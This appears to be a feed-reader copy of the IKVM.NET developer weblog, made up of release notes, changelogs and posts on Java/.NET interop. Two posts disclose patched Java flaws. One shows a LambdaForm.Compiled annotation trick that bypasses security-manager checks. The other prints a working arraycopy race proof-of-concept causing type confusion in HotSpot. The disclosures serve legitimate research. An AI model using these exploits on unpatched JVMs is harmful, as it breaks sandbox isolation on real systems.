Subscribe: IKVM.NET Weblog
http://weblog.ikvm.net/SyndicationService.asmx/GetRss
Added By: Feedage Forager Feedage Grade B rated
Language: English
Tags:
added  bug fix  bug  development snapshot  fix  fixed  ikvm  ikvmc  java  method  methods  net  new  static  system 
Rate this Feed
Rate this feedRate this feedRate this feedRate this feedRate this feed
Rate this feed 1 starRate this feed 2 starRate this feed 3 starRate this feed 4 starRate this feed 5 star

Comments (0)

Feed Details and Statistics Feed Statistics
Preview: IKVM.NET Weblog

IKVM.NET Weblog



The development of a Java VM for .NET



Last Build Date: Wed, 26 Aug 2015 11:49:07 GMT

Copyright: Jeroen Frijters
 



IKVM.NET 8.1 Release Candidate 0

Wed, 26 Aug 2015 11:49:07 GMT

The first release candidate is finally available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 8.0):

  • Integrated OpenJDK 8u45.
  • Many fixes to late binding support.
  • Added ikvmc support for deterministic output files.
  • Various sun.misc.Unsafe improvements.
  • Many minor bug fixes and performance tweaks.

Changes since previous development snapshot:

  • Assemblies are strong named.
  • Fix for bug #303. ikvmc internal compiler error when trying to get interfaces from type from missing assembly reference.
  • Implemented NIO atomic file move on Windows.

Binaries available here: ikvmbin-8.1.5717.0.zip

Sources: ikvmsrc-8.1.5717.0.zip, openjdk-8u45-b14-stripped.zip

(image)



New Development Snapshot

Tue, 07 Jul 2015 07:14:15 GMT

Final 8.1 development snapshot. Release candidate 0 will be next (after .NET 4.6 RTM).

Changes:

  • Updated HOWTO reference to OpenJDK 8u45.
  • Extract Windows version from kernel32.dll to avoid version lie. Idea stolen from OpenJDK.
  • Moved unused field removal optimization to a later stage in the compilation.
  • Made field removal optimization check more strict to only remove final fields and not remove fields that have annotations.
  • Added support for automatically passing in fields to "native" methods.
  • Various minor clean ups.
  • Added FieldWrapper.IsSerialVersionUID property to properly (and consistently) detect serialVersionUID fields.
  • Improved side effect free static initializer detection.
  • Improved -removeassertions ikvmc optimization to remove more code (esp. allow otherwise empty static initializers to be optimized away).

Binaries available here: ikvmbin-8.1.5666.zip

(image)



MethodHandle Performance

Thu, 25 Jun 2015 06:59:31 GMT

Last time I mentioned that with the integration of OpenJDK 8u45 MethodHandle performance went from awful to unusable. That was pretty literal as the JSR 292 test cases that I regularly run went from taking about 8 minutes to more than 30 minutes (when my patience ran out). Using sophisticated profiling techniques (pressing Ctrl-Break a few times) I determined that a big part of the problem was MethodHandle.asType(). So I wrote a microbenchmark:    IKVM 8.0.5449.1  IKVM 8.1.5638 asType.permutations(1) 2108 9039 asType.permutations(2) 2476 17269 The numbers are times in milliseconds. Clearly not a good trend. I did not investigate deeply what changed in OpenJDK, but after looking at the 8u45 code it was clear that too many intermediate MethodHandles were being created. So I rewrote asType to create a single LambdaForm to do all the work at once. This improved the performance a bit, but the disturbing increase in time for the second iteration was still there. Once again I decided not to investigate the root cause of this, but simply to assume that it was because of anonymous type creation (the CLR has no anonymous types and creating a type is relatively expensive). Avoiding anonymous type creation turned out to be easy (well, the high level design was easy, the actual implementation took a lot more time). I just had to replace the LambdaForm compiler. There is a single method that represents the exact point where I can come in and change the implementation: static MemberName generateCustomizedCode(LambdaForm form, MethodType invokerType) { ... } In OpenJDK this method compiles the LambdaForm into a static method in an anonymous class and returns a MemberName that points to the static method. All I had to do was replace this method with my own implementation that directly generates a .NET DynamicMethod. As I said before, the idea was simple, actually getting the implementation correct took a couple of weeks (part time). With both these optimizations in place, MethodHandle performance is back to awful (actually, it is less afwul than it was before):    IKVM 8.0.5449.1  IKVM 8.1.5638  IKVM 8.1.5653 asType.permutations(1) 2108 9039 314 asType.permutations(2) 2476 17269 210 The running time of the JSR 292 test cases went down to less than 7 minutes. So I was satisfied. There are many more opportunities to improve the MethodHandle performance on IKVM, but so far no IKVM user has complained about it, so it is not a priority. Note that Java 8 lambdas are not implemented using MethodHandles on IKVM. Changes: Fixed performance bug. Base type of java.lang.Object was not cached. Untangled TypeWrapper.Finish() from member linking to improve Finish performance for already compiled types. Improved MethodHandle.asType() performance by directly creating a single LambdaForm to do the conversion, instead of creating various intermediate forms (and MethodHandles). Make non-public final methods defined in map.xml that don't override anything automatically non-virtual. Optimized LambdaForm compiler. IKVM.Reflection: Added Type.__GetGenericParameterConstraintCustomModifiers() API. Binaries available here: ikvmbin-8.1.5653.zip [...]



New Development Snapshot

Tue, 09 Jun 2015 11:50:20 GMT

I integrated OpenJDK 8u45, so a new development snapshot is warranted. MethodHandle performance regressed from awful to unusable, so that's something I need to look into.

Changes:

  • Merged OpenJDK 8u45. Special thanks to @mihi42 for helping me with the download.
  • Bug fix. Don't enforce canonical UTF8 encoding for class file versions <= 47.
  • Added support for "high contrast" desktop property. Inspired by patch from Daniel Zatonyi .
  • Handle more text sources for clipboard copy by using an appropriate Reader for the source data. Patch by Daniel Zatonyi .
  • Fixed drag-n-drop coordinates. Patch by Daniel Zatonyi .
  • Fixed Graphics.clipRect(). Fix by Daniel Zatonyi .
  • Bug fix. ReferenceQueue should not keep registered (but not yet enqueued) Reference objects alive.
  • Added Unsafe.staticFieldOffset() and Unsafe.staticFieldBase() methods.
  • sun.misc.Unsafe: Replaced (broken) TypedReference based field CompareExchange with DynamicMethod based implementation.
  • Fixed clone/finalize invocation via MethodHandle.
  • Fixed build to allow nasgen to work with 1.8.0_40.
  • IKVM.Reflection: Fixed known custom attribute handling. They should be recognized by type name, not type identity.
  • IKVM.Reflection: Added Module.__TryGetImplMap() public API to get ImplMap by token.
  • IKVM.Reflection: Added new public APIs to help deal with built-in types even when they are not defined in mscorlib: Type.__IsBuiltIn and Universe.GetBuiltInType(string ns, string name).

Binaries available here: ikvmbin-8.1.5638.zip
Sources: ikvmsrc-8.1.5638.zip, openjdk-8u45-b14-stripped.zip

(image)



New Development Snapshot

Tue, 24 Mar 2015 13:43:45 GMT

After debugging a stack overflow caused by a weird class loader, I decided to make the runtime more robust against this and as a side effect I added the ability to disable eager class loading. This in turn made it easier to test the late binding infrastructure (which is used when a class is not yet available while a method is compiled) and that testing revealed a large number of bugs that have now been fixed. Changes: Bug fix. When -Xsave is used the modopt types should be attached to unloadable types in inherited method signatures. Bug fix. Don't try to get constructor on generic instantiation containing a TypeBuilder generic parameter. Use the last write time of the input file for resources read from the file system. Enable UniverseOptions.DeterministicOutput for ikvmc (unless -debug option is used). Copy timestamps from source files for generated files that end up in resources.jar. The zip file timestamp is in local time, but for deterministic builds we don't want to depend on system timezone, so we have to store the UTC time. Bug fix. Removed legacy (incorrect) array assignability check that compensated for the lack of ghost array typing. This should have been removed when ghost array tagging was introduced. Bug fix. Verifier should disallow using invokeinterface on private methods. The message of a VM generated java.lang.NoClassDefFoundError exception should be the class name, not the message of the underlying exception. Bug fix. Don't crash if java.lang.invoke.LambdaMetafactory class is not loadable. Added Unsafe.reallocateMemory() and fixed allocateMemory() to do nothing if zero length is allocated. Bug fix. Return background color (instead of foreground color). Fix by Daniel Zatonyi . Bug fix. Dynamically created ghost arrays should get tagged. Bug fix. When catching a dynamically loaded .NET exception type the exception should not be remapped. Bug fix. Bootstrap classes that use .NET types in their signatures should be accessible via MethodHandles. Bug fix. Allow MethodHandle for cli.System.Object methods to work on (Java compatble) arrays to handle a hole in the type system. Bug fix. Handle unloadable types in interface stub signatures. Bug fix. MethodHandle and JNI should be able to set static final fields. Bug fix. If a miranda method signature differs from its base class miranda method (due to unloadable types), we need to emit an override stub. Bug fix. Allow value type default constructor to be invoked using MethodHandle. Bug fix. Allow invokedynamic with unloadable type in signature. Bug fix. Handle late-bound MethodHandle.invokeExact() with unloadable type in signature. Bug fix. Late bound instanceof and castclass should behave the same as regular versions (with respect to type system holes caused by .NET types). Bug fix. MethodHandle interface method lookup should support methods inherited from base interfaces. Bug fix. Late bound delegate signature conversion should use explicitCastArguments instead of asType to handle varargs correctly. Implemented delegate constructor invocation on existing object (to enable MethodHandle to construct a delegate). Bug fix. Handle unloadable return type in native method signature. Bug fix. Handle unloadable types in native method signature in JniProxyBuilder (used when -Xsave is used). Bug fix. Late bound invokespecial should also be handled in local variable analysis. Bug fix. Handle unloadable type in BSM extra arguments. Bug fix. Verifier would incorrectly report a loader constraints violated if a field type was not unloadable, but the field ref type was unloadable. Bug fix. Make sure declaring class is loadable. Bug fix. Try loading unloadable declared classes instead of simply throwing a NoClassDefFoundError. Bug fix. Make sure inner classes are loadable. Bug fix. Disallow invokevirtual MH constant to resolve to interface method and disallow invokeinterface MH constant to resolve to non-public method. Bug fix. Handl[...]



IKVM.NET 8.0 Release Candidate 1

Mon, 12 Jan 2015 14:11:00 GMT

The second release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to rc 0):

  • Fixed build error when using Java 8u25 or newer.
  • Bug fix. Unsafe.compareAndSwapObject should resolve field before passing it to MakeTypedReference.
  • Implemented OperatingSystemMXBean.getFreePhysicalMemorySize and OperatingSystemMXBean.getTotalPhysicalMemorySize.

Binaries available here: ikvmbin-8.0.5449.1.zip

Sources: ikvmsrc-8.0.5449.1.zip, openjdk-8-b132-stripped.zip

(image)



IKVM.NET 8.0 Release Candidate 0

Tue, 02 Dec 2014 13:52:48 GMT

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.4):

  • Merged OpenJDK 8 b132.
  • Support for Java 8 features.
  • Improvements to sun.misc.Unsafe compatibility.
  • Various bug fixes.

Changes since previous development snapshot:

  • Assemblies are strong named.

Binaries available here: ikvmbin-8.0.5449.0.zip

Sources: ikvmsrc-8.0.5449.0.zip, openjdk-8-b132-stripped.zip

(image)



Running Minecraft on IKVM.NET

Mon, 01 Dec 2014 13:42:28 GMT

With the fixes I did in the snapshot released on October 29, it is now possible to run Minecraft on IKVM.NET (on Windows). To be clear, I'm talking about the Minecraft client, not the server that has been running on IKVM.NET for a long time.

The Minecraft client uses native code for the 3D graphics and sound, so it doesn't run into IKVM limitations there.

To get it to run download the most recent IKVM.NET snapshot (currently available here) and unzip it. Download minecraft.jar and run it like this:

ikvm -jar minecraft.jar

It takes a while to start up, so be patient.

If you get an exception when trying to log in, you may have to visit https://authserver.mojang.com/ in Internet Explorer to add the root certificate to the Windows certificate store (just visiting the site causes IE to download it from Microsoft). After that you have to restart Minecraft.

(image)

(image)

(image)



New Development Snapshot

Wed, 19 Nov 2014 13:56:25 GMT

Getting closer to a release.

Changes:

  • Optimized ForkJoinPool unsafe usage.
  • Optimized java.lang.[Integer|Long].[compare|divide|remainder]Unsigned().
  • Bug fix. Default interface methods should not conflict with their own base interfaces.
  • Bug fix. Miranda method in base class should not interfere with default interface methods.
  • Bug fix. Conflicting default interface methods should throw IncompatibleClassChangeError instead of AbstractMethodError.
  • Bug fix. LockSupport.parkUntil() didn't convert milliseconds to nanoseconds.
  • Implemented TwoStacksPlainDatagramSocketImpl.socketLocalAddress() and TwoStacksPlainDatagramSocketImpl.isAdapterIpv6Enabled().
  • Made sun.misc.Unsafe interlocked operations truly atomic (except for unaligned array access and int/long array access on different array types).
  • Made sun.misc.Unsafe array access more compatible with JDK. It is now possible to get/set primitive values from arrays of a different (primitive) type.
  • Fixed font file clean up issue on Windows 8.
  • Bug fix. NetGraphicsDevice.getDefaultConfiguration() should take the screen into account. Thanks to Maria Papendieck for this fix.
  • Bug fix. NetComponentPeer.getLocationOnScreen() should take insets into account. Thanks to Maria Papendieck for this fix.

Binaries available here: ikvmbin-8.0.5436.zip

(image)



New Development Snapshot

Wed, 29 Oct 2014 12:24:17 GMT

I've been busy with other things, but there have been enough fixes to warrant a new snapshot.

Changes:

  • Bug fix. When reading a .class resource from an assembly (to attempt to dynamically define it), read all the bytes.
  • Bug fix. Reading/writing java.nio.file attributes of non-existing file should throw NoSuchFileException.
  • Bug fix. Fixed bitmap synchronization in java.awt.image.BufferedImage and com.sun.imageio.plugins.jpeg.JPEGImageWriter.
  • Ignore -Xmn and -XX: Oracle Java specific command line options in ikvm.exe.
  • Enabled pack200 unpacking algorithm.
  • IKVM.Reflection: Bug fix. If custom attribute named argument parsing fails due to missing type, ConstructorArguments should still work.

Binaries available here: ikvmbin-8.0.5415.zip

(image)



Java Method Overriding Is FUBAR Part 10 of ∞

Wed, 16 Jul 2014 11:27:41 GMT

Yesterday's JDK 7u65 and 8u11 updates changed method overriding yet again and, of course, it is still broken.

Take this example:

package pkg1;

public class A {
  { foo(); }
  void foo() { System.out.println("A.foo"); }
}

package pkg2;

public class B extends pkg1.A {
  { foo(); }
  void foo() { System.out.println("B.foo"); }
}

package pkg1;

public class C extends pkg2.B {
  { foo(); }
  void foo() { System.out.println("C.foo"); }
}

package pkg2;

public class D extends pkg1.C {
  { foo(); }
  void foo() { System.out.println("D.foo"); }
}

public class test {
  public static void main(String[] args) {
    new pkg2.D();
  }
}

Running this with JDK 8u5 yields:

D.foo
D.foo
D.foo
D.foo

Which is, of course, wrong. In yesterday's updates they tried to fix this, but only partially succeeded:

D.foo
D.foo
C.foo
D.foo

The sensible output would be:

C.foo
D.foo
C.foo
D.foo

(image)



Java Security Fixes

Wed, 16 Jul 2014 06:53:16 GMT

In Februari I reported two Java vulnerabilities to Oracle. Yesterday they released the update that fixed them, so here are the descriptions of the two issues.

@java.lang.invoke.LambdaForm.Compiled

Internally, the JDK uses the LambdaForm.Compiled annotation to mark methods that should be skipped in a security stack walk. In JDK 7 it was possible to apply this annotation to untrusted code. Here's an example:

import java.lang.annotation.*;

@Retention(RetentionPolicy.RUNTIME)
@interface java_lang_invoke_LambdaForm$Compiled { }

class test {
  @java_lang_invoke_LambdaForm$Compiled
  public static void main(String[] args) throws Throwable {
    System.out.println(Class.forName("sun.misc.Unsafe"));
  }
}

If you compile and run this with JDK 1.7.0_60 with a security manager, you get the appropriate AccessControlException. However, if you edit test.class to replace java_lang_invoke_LambdaForm with java/lang/invoke/LambdaForm and run it again, you see that the main method is now skipped in the security check and hence is allowed to access a privileged class.

The fix can be seen here.

MaxArityBug

This example demonstrates that the JDK 1.7.0_60 LambdaForm method handle implementation has a type safety bug when dealing with method signatures with the maximum number of parameters.

(image)



Blog Update

Sun, 13 Jul 2014 08:18:00 GMT

I updated my ancient version of dasBlog. Please let me know if something isn't working properly.

(image)



New Development Snapshot

Fri, 11 Jul 2014 08:08:05 GMT

Completed LambdaMetafactory intrinsification.

Changes:

  • Fixed several LambdaMetafactory.metafactory() intrinsic bug.
  • Implemented LambdaMetafactory.altMetafactory() intrinsic.
  • Include full class name of anonymous classes in stack trace.
  • Added method and field reflection support for lambda classes.

Binaries available here: ikvmbin-8.0.5305.zip

(image)



New Development Snapshot

Wed, 02 Jul 2014 11:43:42 GMT

I fixed a whole bunch of weird edge case behaviors and finally did the first part of the lambda performance work. Here are some rough performance results (times in milliseconds) for this crude microbenchmark: iteration IKVM 8.0.5274 IKVM 8.0.5296 JDK 1.8.0_05                     ikvmc ngen 1 1040.2 87.6 71.8   1.3 0.4 2 0.9 0.3 0.3   0.3 0.4 3 0.9 0.3 0.3   0.3 0.4 Only LambdaMetafactory.metafactory() is supported at the moment. LambdaMetafactory.altMetafactory() will follow in a future snapshot. Changes: Removed sun.misc.Unsafe usage from java.util.concurrent.atomic.Striped64. Bug fix. Handle malformed UTF-16 (invalid surrogates) in type/member names and annotations. Added ikvm.exe.manifest file to enable Windows 8.1 behavior (including getting the right version number). Bug fix. Invokedynamic bootstrap method can also be a constructor. Bug fix. Improved handling of incorrect invokedynamic bootstrap methods. Bug fix. Non-canonical modified UTF-8 encodings should throw ClassFormatError. Changed ClassFormatError message for invalid UTF-8 to match JDK. Bug fix. Array classes get the system protection domain, not the element type's. Bug fix. Interfaces can't "override" final methods in Object. Bug fix. Only the bootstrap class loader is allowed to define classes in the java package. Bug fix. Since Java 1.7 class names aren't allowed to have [ and ] characters. Updated ldc error behavior to match Java 8. Bug fix. Calling BasicFileAttributes.size() on a directory didn't work. Thanks to Lucius Junevicus for reporting this. Bug fix. If an invokedynamic bootstrap argument conversion fails, the exception should not be wrapped in BootstrapMethodError. Added intrinsic for invokedynamic using LambdaMetafactory.metafactory(). Binaries available here: ikvmbin-8.0.5296.zip [...]



Malformed UTF-16

Fri, 13 Jun 2014 11:43:41 GMT

While scanning the Java 8 version of the JVM spec for changes, I noticed this new text:

Names of methods, fields, local variables, and formal parameters are stored as unqualified names. An unqualified name must contain at least one Unicode code point and must not contain any of the ASCII characters . ; [ / (that is, period or semicolon or left square bracket or forward slash).

As per usual, the spec and HotSpot implementation don't agree on the details. In particular the text says that a name must contain at least one Unicode code point. At this point it becomes important what a Unicode code point actually is. Suffice it to say that a single UTF-16 code unit in the surrogate range is not a valid Unicode code point and that such names are accepted by HotSpot without any complaint.

The spec, of course, is also incomplete as it does not address what should happen in case of malformed UTF-16 in general. Or maybe it should just be changed to say "... UTF-16 code unit ..." to match the current behavior and not worry about surrogates at all.

On the .NET side, the strings that aren't string literals in the code are stored as UTF-8 and the ECMA CLI spec requires valid UTF-8, but this is only partially enforced which poses its own set of problems.

After discovering all this, I felt compelled to fix IKVM.NET to behave similarly to HotSpot in this regard and added support for escaping malformed UTF-16 strings when writing metadata and unescaping them when reading it back in.

Finally, let's end with a C# example that shows some of the weirdness on the .NET side:

using System;
using System.ComponentModel;

[DisplayName("\uD800")]
class Surrogate {
  static void Main() {
    var attr = (DisplayNameAttribute)typeof(Surrogate)
                 .GetCustomAttributes(false)[0];
    Console.WriteLine(attr.DisplayName == "\uD800");
  }
}
(image)



New Development Snapshot

Tue, 10 Jun 2014 08:19:57 GMT

I implemented Type Annotation reflection and fixed a couple of bugs.

Changes:

  • Implemented type annotation reflection.
  • Bug fix. Process exec should support quotes around filename for VFS executables.
  • Bug fix. Process exec should eagerly close the redirected in/outputs when an exception occurs or immediately after the process exits.
  • Bug fix. ProtectionDomain stack walk should ignore "HideFromStackWalk" frames.
  • Include some missing resources.
  • Added security attributes needed for .NET 4 build.

Binaries available here: ikvmbin-8.0.5274.zip
Sources: ikvmsrc-8.0.5274.zip and openjdk-8-b132-stripped.zip

(image)



New Development Snapshot

Wed, 04 Jun 2014 07:30:36 GMT

More progress on the OpenJDK 8 integration and a couple of unrelated fixes. I fixed an incompatibility with Mono (and other ECMA compliant tools that parse custom attributes). When I changed package manifest handling in 7.4 to handle reading the manifest from the right jar I unknowingly chose a custom attribute encoding that works on the CLR, but isn't actually ECMA compliant. Mono has since added support for this encoding. Another somewhat interesting change is that I added an (internal only) feature to make it easier to replace sun.misc.Unsafe.compareAndSet() with Interlocked.CompareExchange. The trigger was the new reflection data caching in java.lang.Class. Here's an example of what it looks like: @ikvm.internal.InterlockedCompareAndSet("reflectionData") static native boolean casReflectionData(Class clazz,                                         SoftReference> oldData,                                         SoftReference> newData); The ikvmc compiler will generate a method body that uses Interlocked.CompareExchange() to update the reflectionData field in Class. In other places where I previously used Interlocked methods (e.g. java.util.concurrent.AtomicReferenceArray) I implemented the method body in map.xml using MSIL instructions, but here the generic version of CompareExchange is needed and I didn't want to invent a syntax for instantiating a generic method in map.xml. Oracle is working on adding atomic operations to Java and I suggested this annotation based approach, but it was rejected because "we don't add language semantics through annotations". Changes: Implemented method parameter reflection. Compile class library with javac -parameters option to get parameter names for abstract and native methods. Added (undocumented) -noparameterreflection option ikvmc to disable emitting method parameter reflection metadata Enabled MethodParameter attribute in runtime stub generator. Support round tripping malformed MethodParameter attribute in stub generator. Fixed PackageListAttribute to be ECMA compliant. Added support for defining abstract methods in remap file. Implemented sun.nio.ch.Net.poll() native method. Replaced sun.misc.Unsafe cas operations in java.lang.Class with Interlocked.CompareExchange(). Replaced AtomicReference[Array].getAndSet() implementations with Interlocked.Exchange() based implementations. Fixed Linux build. Thanks to Joan Karadimov for reporting this. Prevent unfocable windows from being activated by mouse click. (Based on patch by Maria Papendieck of pure-systems.) Fixed clipboard access to use the right thread. (Based on patch by Maria Papendieck of pure-systems.) IKVM.Reflection: Added UniverseOptions.DecodeVersionInfoAttributeBlobs to support decoding CustomAttributeBuilder with blob to extract version info fields. Binaries available here: ikvmbin-8.0.5268.zip Sources: ikvmsrc-8.0.5268.zip and openjdk-8-b132-stripped.zip [...]



New Development Snapshot

Mon, 26 May 2014 08:22:29 GMT

More progress on the OpenJDK 8 integration.

Changes:

  • Integrated Nashorn.
  • Added workaround for bug in .NET 2.0 implementation of ModuleBuilder.GetMethodToken() exposed by Nashorn.
  • Bug fix. A .NET type should always have access to its nested types.
  • Fixed javap build.
  • Bug fix. The MethodHandle code requires the volatile field accessors in Unsafe for volatile field access.
  • Bug fix. Handle more than 8 parameters in invokedynamic.
  • Bug fix. DynamicMethod's ILGenerator doesn't like unbaked array types.
  • Bug fix. MethodHandle.invoke[Exact] methods should have VarArgs flag set.
  • Added workaround for javac MethodHandle.invoke[Exact] detection bug.
  • Moved cldrdata and localedata into separate assemblies.
  • Implemented native methods for HostLocaleProviderAdapterImpl. The system property "java.locale.providers" can now be set to "HOST" to use the .NET locale implementation.

Binaries available here: ikvmbin-8.0.5259.zip
Sources: ikvmsrc-8.0.5259.zip and openjdk-8-b132-stripped.zip

(image)



First OpenJDK 8 Based Development Snapshot

Tue, 20 May 2014 07:06:50 GMT

I finished the first major step for integrating OpenJDK 8. The class libraries are now built from the OpenJDK 8 sources. Not all new functionality is implemented yet (both in the class library and in the VM).

Lambda's work, but they are not yet optimized, so they are very slow. This will be fixed in a future development snapshot.

Another area that still needs a lot of work is the assembly partitioning of the class libraries. Currently IKVM.OpenJDK.Core.dll has grown to 13MB. That's clearly not a good thing. Also, a bunch of work has gone into OpenJDK 8 to better factor it and to support making parts of the class libaries optional, so that should be exposed as well.

Finally, there is no Nashorn support yet.

Changes:

  • Enabled Java 8 class file support by default.
  • Several fixes for Java 8 static, private and default interface methods.
  • Allow classes defined by Unsafe.defineAnonymousClass() access to private methods of their host class.
  • Add ExtensionAttribute to IKVM.OpenJDK.Core assembly, because Roslyn requires that for the extension methods to be visible.
  • Bug fix. Unsafe.park(false, 0) means infinite wait timeout, contrary to LockSupport.parkNanos(0).
  • Bug fix. Miranda method override stubs should be handled by the normal code, because a Miranda method can implement multiple interface methods.
  • Bug fix. Bridge method names should not include prefix in stack trace.
  • Fixed handling of ghost array types in remapped type methods.
  • Fixed class file validation of method and field names to disallow '[' character.
  • Fixed class file validation to disallow zero length bytecode stream.
  • Bug fix. Exceptions in bootstrap method arguments should not be wrapped in BootstrapMethodError.
  • Fixed ikvmc to emit fatal error instead of crashing when a field referenced in remap file isn't found.
  • Added ikvmc option -assemblyattributes: to explicitly specify the assembly attribute container class and deprecated the previous behavior.
  • Bug fix. If ikvmc -warnaserror is used, "warnings" should not be suppressed after an error was emitted.
  • IKVM.Reflection: Fixed several bugs in Type.GetInterfaceMap().
  • IKVM.Reflection: It is legal for a MethodBuilder to not have a signature, in that case it defaults to returning void with no parameters.

Binaries available here: ikvmbin-8.0.5252.zip
Sources: ikvmsrc-8.0.5252.zip and openjdk-8-b132-stripped.zip

(image)



Default and Static Interface Methods

Thu, 15 May 2014 10:06:11 GMT

Java 8 introduces default and static interface methods. Here's an example Java 8 interface: public interface Foo {   default void m1() {     System.out.println("Hello from default interface method");   }   static void m2() {     System.out.println("Hello from static interface method");   } } When this interface is compiled by ikvmc,  it produces the approximate equivalent of the following pseudo C# code: public interface Foo {   public static class __DefaultMethods {     public static void m1(Foo obj) {       if (obj == null) throw new NullReferenceException();       Foo.m1(obj);     }   }   public static class __Methods {     public static void m2() {       Foo.m2();     }   }   public static void m1(Foo obj) {     System.out.println("Hello from default interface method");   }   public abstract void m1();   public static void m2() {     System.out.println("Hello from static interface method");   } } There are a number of things going on here, so let's go over them one by one. __DefaultMethods This nested type exists to allow C# code to call the default method implemenation. So when your C# class implements the Foo interface, it may implement the m1 method by calling the default method. The reason it is a nested type is to avoid method name clashes and because the current C# compiler doesn't allow access to static interface members. __Methods This only exists because the current C# compiler doesn't allow access to static interface members (the new Roslyn C# compiler does). It is similar to the nested __Fields type that already exists to expose interface fields. m1 This is a static method that contains the body of the default interface method. Its name is mangled to avoid conflict with the "real" abstract method. Internally ikvmc calls this method when a class inherits the default method. m1 Regular abstract interface method. m2 Regular static method. The result of this implementation choice is that it can be quite painful to implement a Java 8 interface in C#, because you manually have to forward each default method. Given the large number of default methods introduced in Java 8 this is going to make interop quite a bit more inconvenient. A partial workaround for this is to write more interop code in Java or create a Java base class that implements the interface so that it can inherit the default methods and then write the implementation as a C# subclass. I'm considering changing ikvmc to automatically generate a __BaseClass nested type inside all public interfaces to at least make it easy to write a class that implements a single Java interface. JVM interfaces can also have private methods. The current C# compiler doesn't like interfaces with non-public members, so the private methods are put into another nested type by ikvmc (and instance methods are compiled as static methods). [...]



Java Method Overriding Is FUBAR Part 9 of ∞

Thu, 01 May 2014 07:38:36 GMT

Java 8 introduces default methods. In the current HotSpot implementation this makes adding a private method to a non-final class a binary breaking change (contrary to what the JLS says about this).

Here's an example. Suppose you have two separate code bases Lib and App, shipped by different parties. App depends on Lib.

Lib defines a class B:

public class B {
}

App defines an interface I and a class D:

public interface I {
  default void m() {
    System.out.println("I.m");
  }
}

public class D extends B implements I {
  public static void main(String[] args) {
    D d = new D();
    d.m();
  }
}

All is well in the world. Now Lib ships a new version that includes a new version of class B:

public class B {
  private void m() { }
}

Now when you run D the output is:

Exception in thread "main" java.lang.IllegalAccessError: tried to access method B.m()V from class D
        at D.main(D.java:4)

You could argue that this is "just" an implementation bug, but I posted it as part of this series because it is symptomatic of the mess that is Java's method dispatch story.

(image)



Arraycopy HotSpot Vulnerability Fixed in 7u55

Wed, 16 Apr 2014 08:40:19 GMT

Here is a simple PoC exploit for the issue fixed here:

class Union1 { }
class Union2 { }

class arraytoctou {
  static volatile Union1 u1 = new Union1();

  public static void main(String[] args) {
    final Union1[] arr1 = new Union1[1];
    final Union2[] arr2 = new Union2[1];
    new Thread() {
      public void run() {
        for(;;) {
          try {
            System.arraycopy(arr1, 0, arr2, 0, 1);
            if (arr2[0] != null) break;
          } catch (Exception _) { }
        }
      }
    }.start();

    while (arr2[0] == null) {
      arr1[0] = null;
      arr1[0] = u1;
    }

    System.out.println(arr2[0]);
  }
}

(image)



IKVM.NET 7.4 Release Candidate 0

Mon, 24 Mar 2014 08:19:12 GMT

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.3):

  • Merged OpenJDK 7u40 b34.
  • Many bug fixes.
  • Optimizations to reduce metadata size.
  • Added support for getting package information from the right jar manifest for ikvmc compiled jars.
  • Improved runtime support for running on platforms without Reflection.Emit.
  • Removed IKVM.Attributes.HideFromReflectionAttribute.
  • IKVM.Reflection: Many improvements and fixes.
  • IKVM.Reflection: WinMD projection support.

Changes since previous development snapshot:

  • IKVM.Reflection: Fix for Type.GetInterfaceMap() issue.

Binaries available here: ikvmbin-7.4.5196.0.zip

Sources: ikvmsrc-7.4.5196.0.zip, openjdk-7u40-b34-stripped.zip

(image)



New Development Snapshot

Thu, 06 Mar 2014 09:43:19 GMT

Hopefully the last snapshot before the 7.4 release candidate.

Changes:

  • Added support for getting package information from the right jar manifest for ikvmc compiled jars.
  • Don't inject private helper methods in public interfaces, because csc.exe doesn't like interfaces with non-public methods.
  • Rewrote java.lang.ref.ReferenceQueue to be more efficient.
  • Bug fix. Non-public annotations can be used used in code that doesn't have access to them.
  • Merged forgotten 7u40 exclusive socket binding change.

Binaries available here: ikvmbin-7.4.5178.zip

(image)



New Development Snapshot

Thu, 27 Feb 2014 07:16:31 GMT

A new development snapshot is available. I finished the merge of JSR-292 part of OpenJDK 7u40. The result is a bit depressing (but not unexpected) for the amount of effort that it took. The net result is that most stuff works the same (I did fix a couple of bugs), except slower.

I expect that eventually I'll get around to optimizing things a bit, but for now I've spent enough time on it to want to work on something else.

Changes:

  • Merged remaining OpenJDK 7u40 changes.
  • Guard against bogus LVT entries. Fix for bug #284.
  • Bug fix. MethodHandle.invoke[Exact] does not require a version 51 class file.
  • Bug fix. If a ghost array is used in an invokedynamic signature, we should not use the erased method type.
  • Added Unsafe.defineAnonymousClass().
  • Don't filter DynamicMethods from stack trace if IKVM_DISABLE_STACKTRACE_CLEANING is defined.
  • Bug fix. Unsafe.defineClass() should allow null class loader and '/' as package separator.
  • Added support for CallerID in pseudo-native methods.
  • Added Unsafe.shouldBeInitialized() and Unsafe.defineClass() overload.
  • Bug fix. If CLASSGC is enabled, we should use a WeakReference to cache the MethodType for the MethodHandle.invoke() cache.
  • Bug fix. MethodHandle.invoke() cache should consider vararg-ness of the MethodHandle.
  • Removed HideFromReflectionAttribute.
  • Added flags to HideFromJavaAttribute to support different levels of hiding (including the previous usage of HideFromReflectionAttribute and adding specific ability to hide from security stack walking and from stack traces, for future LamdbaForm support).
  • Bug fix. Constructing .NET value types using MethodHandle didn't work.

Binaries available here: ikvmbin-7.4.5170.zip

(image)



New Development Snapshot

Fri, 07 Feb 2014 14:16:32 GMT

I merged OpenJDK 7u40, except for the java.lang.invoke package. To build you'll need the new OpenJDK 7u40 based openjdk-7u40-b34-stripped.zip.

Changes:

  • Merged OpenJDK 7u40 b34.
  • Made all bytecode helper methods available during first-pass IKVM.Runtime.dll compilation (to avoid crashing IKVM build, if classes are missing).
  • Fixed ikvmc to not crash if type used in pseudo-native method signature is missing.
  • Refactored ikvmc -exclude: handling to allow -resource: to add .class files as resources.

Binaries available here: ikvmbin-7.4.5151.zip
Sources available here: ikvmsrc-7.4.5151.zip
The stripped OpenJDK 7u40 b34 sources are available here: openjdk-7u40-b34-stripped.zip

(image)



New Development Snapshot

Tue, 04 Feb 2014 15:32:04 GMT

